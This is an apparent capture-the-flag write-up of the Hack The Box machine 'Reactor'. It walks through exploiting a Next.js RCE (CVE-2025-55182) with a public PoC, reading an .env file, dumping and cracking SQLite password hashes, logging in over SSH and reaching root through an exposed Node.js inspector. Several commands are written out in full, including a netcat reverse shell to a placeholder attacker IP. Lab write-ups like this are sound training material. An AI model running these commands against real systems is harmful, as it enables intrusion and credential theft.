HTB Reactor Writeup
Overview
Reactor is a Linux machine that involves exploiting a vulnerable Next.js application. By abusing CVE-2025-55182, it is possible to achieve remote command execution, access application files, and extract credentials from a SQLite database. SSH access can then be obtained as a low-privileged user. Root access is achieved through a Node.js process running with the inspector interface enabled.
Reconnaissance
Nmap Scan
1
nmap 10.129.23.53
Results
1
2
22/tcp open ssh
3000/tcp open http
The target exposes an SSH service and a web application.
Web Enumeration
Technology Identification
Browsing the application and fingerprinting it with Wappalyzer revealed:
1
Next.js 15.0.3
Researching known vulnerabilities identified the following issue:
| CVE | Description |
|---|---|
| CVE-2025-55182 | Remote Command Execution |
Public PoCs were available for exploitation.
Exploitation
CVE-2025-55182 - Remote Command Execution
Clone the public PoC:
1
git clone https://github.com/msanft/CVE-2025-55182.git
Verify command execution:
1
python3 poc.py http://reactor.htb:3000 id
Check the current directory:
1
python3 poc.py http://reactor.htb:3000 pwd
List files:
1
python3 poc.py http://reactor.htb:3000 "ls -la"
Read environment variables:
1
python3 poc.py http://reactor.htb:3000 "cat /opt/reactor-app/.env"
Enumerate the SQLite database:
1
2
python3 poc.py http://reactor.htb:3000 \
"sqlite3 /opt/reactor-app/reactor.db '.tables'"
The vulnerability provided remote command execution and access to sensitive application files.
Obtaining a Reverse Shell
Start a listener:
1
nc -lvnp 4444
Trigger a reverse shell:
1
2
python3 poc.py http://reactor.htb:3000 \
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f"
Upgrade the shell:
1
python3 -c 'import pty; pty.spawn("/bin/bash")'
Initial Access
SQLite Database Enumeration
Access the database:
1
sqlite3 reactor.db
List tables:
1
.tables
Retrieve user records:
1
SELECT * FROM users;
Retrieved Hashes
1
2
admin: a203b22191d744a4e70ada5c101b17b8
engineer: 39d97110eafe2a9a68639812cd271e8e
Cracking Password Hashes
Save the hashes:
1
mousepad hash.txt
Run Hashcat:
1
2
hashcat -m 0 hash.txt \
/usr/share/wordlists/rockyou.txt
Display recovered credentials:
1
hashcat -m 0 hash.txt --show
Output:
1
39d97110eafe2a9a68639812cd271e8e:reactor1
Recovered credentials:
1
engineer : reactor1
SSH Login
Connect via SSH:
1
ssh engineer@reactor.htb
Password:
1
reactor1
User Flag
Retrieve the user flag:
1
cat user.txt
1
[REDACTED]
Privilege Escalation
Process Enumeration
Check running Node.js processes:
1
ps aux | grep node
Output:
1
2
root 1406 0.0 1.1 1066804 47308 ? Ssl 11:05 0:00
/usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
The process is running as:
1
root
The Node.js inspector interface is exposed on:
1
127.0.0.1:9229
Connecting to the Inspector
Connect to the debugger:
1
node inspect 127.0.0.1:9229
Verify command execution:
1
exec("process.mainModule.require('child_process').execSync('id').toString()")
Output:
1
uid=0(root) gid=0(root) groups=0(root)
Root Flag
Read the root flag:
1
exec("process.mainModule.require('child_process').execSync('cat /root/root.txt').toString()")
Output:
1
[REDACTED]
Conclusion
This machine demonstrates how an exposed application vulnerability can lead to full system compromise:
- Exploit CVE-2025-55182 to obtain remote command execution.
- Access the SQLite database and extract user hashes.
- Crack the engineer password with Hashcat.
- Gain SSH access as the engineer user.
- Abuse the exposed Node.js inspector interface to execute commands as root.
The combination of vulnerable application software and insecure service configuration results in complete compromise of the target.